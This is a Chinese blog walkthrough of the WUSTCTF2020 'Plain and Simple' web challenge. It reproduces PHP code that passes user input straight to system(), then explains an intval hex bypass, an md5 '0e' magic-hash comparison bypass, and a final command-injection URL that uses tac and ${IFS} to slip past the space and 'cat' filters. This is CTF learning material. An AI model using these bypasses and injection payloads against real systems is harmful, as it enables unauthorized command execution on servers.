首页 > 其他分享 >[WUSTCTF2020]朴实无华(命令执行)

[WUSTCTF2020]朴实无华(命令执行)

时间:2024-07-17 14:41:02浏览次数:19  
标签:WUSTCTF2020 get die GET else 命令 flag 朴实无华 md5


请求头问题
去查了一下资料了解了一下没有什莫用
robots.txt
中有东西
image
image
假flag
但是请求头里有重要消息
image
访问页面/fl4g.php

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?> 

简单的三个绕过
直接在网上都能搜到
第一个

intval($num) < 2020 && intval($num + 1) > 2021

我们要满足一个数小于2020一之后又大于2021很显然没有这样的一个数
我们只有利用intval的特性来绕过

<?php
$a=intval(0X7e5);
echo $a;
?>//输出2021
<?php
$a=intval('0X7e5');
echo $a;
?>输出0
<?php
$a=intval('0X7e5'+1);
echo $a;
?>输出2022

也就是你传入整数类型他就会转化成十进制
但是传入字符型他只会找你第一个字符之前的数,之后的一律丢弃
但是你加一的话他会先把字符串转为整数型再运算,得到一个整数型的结果


第二个就是md5的值和md5md5的值相同
原来做题搜集的有0e215962017


第三个就是用tac代替cat,再用$代替空格


?num=0x7E5&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

标签:WUSTCTF2020,get,die,GET,else,命令,flag,朴实无华,md5
From: https://www.cnblogs.com/dghh/p/18307334

相关文章

  • docker常用命令
    1.Docker的安装和配置(centos下)1)卸载旧版Docker:yumremovedocker\   docker-client\   docker-client-latest\   docker-common\   docker-latest\   docker-latest-logrotate\   ......
  • Windows中安装python/cmd中执行python命令无效
    1、问题阐述?本文章提供非常详细的安装教程。本文章适合于不会安装python或者安装了python后,在cmd中执行python命令无效的情况。2、下载pythonpython下载官网地址:DownloadPython|Python.org在下面的框子中选择你需要的版本如果是windows选择如下包如下版本下载地址:ht......
  • [BJDCTF2020]Mark loves cat(源码泄露+命令执行)
    扫描之后发现是/.git源码泄露pythonGitHack.pyhttp://56ad87c1-d8fb-463d-9480-f0fbee5176a0.node5.buuoj.cn:81/.git/之后出现源码查看index.php<?php//包含外部文件'flag.php',可能包含变量$flaginclude'flag.php';//初始化三个变量$yds="dog";//$yd......
  • nl命令
    1.命令格式:nl[选项]...[文件]...2.命令参数:-b:指定行号指定的方式,主要有两种:-ba:表示不论是否为空行,也同样列出行号(类似cat-n);-bt:如果有空行,空的那一行不要列出行号(默认值);-n:列出行号表示的方法,主要有三种:-nln:行号在萤幕的最左方显示;-nrn:行号在自己栏位的最......
  • [WUSTCTF2020]Cr0ssfun
    64位,进ida没啥重要的,主要是check函数等于1才能跳出后面是一个函数可以看到都是数组,后面还有几个这样的函数,就不都截图了,直接上EXP吧a1=33*[0]a1[1]=99a1[25]=64a1[27]=101a1[4]=50a1[17]=114a1[29]=102a1[17]=114a1[24]=95a1[2]=116a1[9]=......
  • MySQL常用命令的实战应用
    MySQL常用命令全攻略:从入门到精通的实用指南在数字化时代的浪潮中,MySQL作为关系型数据库管理系统的佼佼者,以其稳定性和高效性赢得了全球用户的青睐。无论是新手还是资深开发者,掌握MySQL的常用命令都是提升数据库管理能力的基础。以下是一份详尽的MySQL命令指南,涵盖从基础的连......
  • Linux常用命令
    一.常用命令1.whereis文件查询命令文件位置(如cd,ping)2.File查看文件的类型3.Who查看有谁登录该系统,当前在线的用户4.Pwd查看文件当前所在路径5.Clear清屏6.Uname-a查看内核信息7.Echo打印8.History显示所敲命令的历史,9.History-c清除所敲命令的历史10......
  • Linux磁盘-磁盘操作命令
    作者介绍:简历上没有一个精通的运维工程师。希望大家多多关注作者,下面的思维导图也是预计更新的内容和当前进度(不定时更新)。Linux磁盘涉及到的命令不是很多,但是在实际运维中的作用却很大,因为Linux系统及业务都会承载到硬盘上。如果磁盘使用和配置不合理,可能会引起系统无法启......
  • python如何执行windows命令
    python如何执行windows命令?方法如下:1、使用os.system("cmd")特点是执行的时候程序会打出cmd在Linux上执行的信息。import osos.system("ls")2、使用Popen模块产生新的process现在大部分人都喜欢使用Popen。Popen方法不会打印出cmd在linux上执行的信息。的确,Popen非......
  • Linux基础命令
    1.pwd查看当前所在目录(用处:拷贝目录到一些配置文件)2.cd切换目录(需要到特定的目录执行命令),用法:cd目录名:进入指定目录绝对路径,相对路径./当前../上一级cd..:退回上一级cd~:切到用户home目录3.tab补全文件名或者命令4.ls/ll=ls-al查看目录文件信息ls......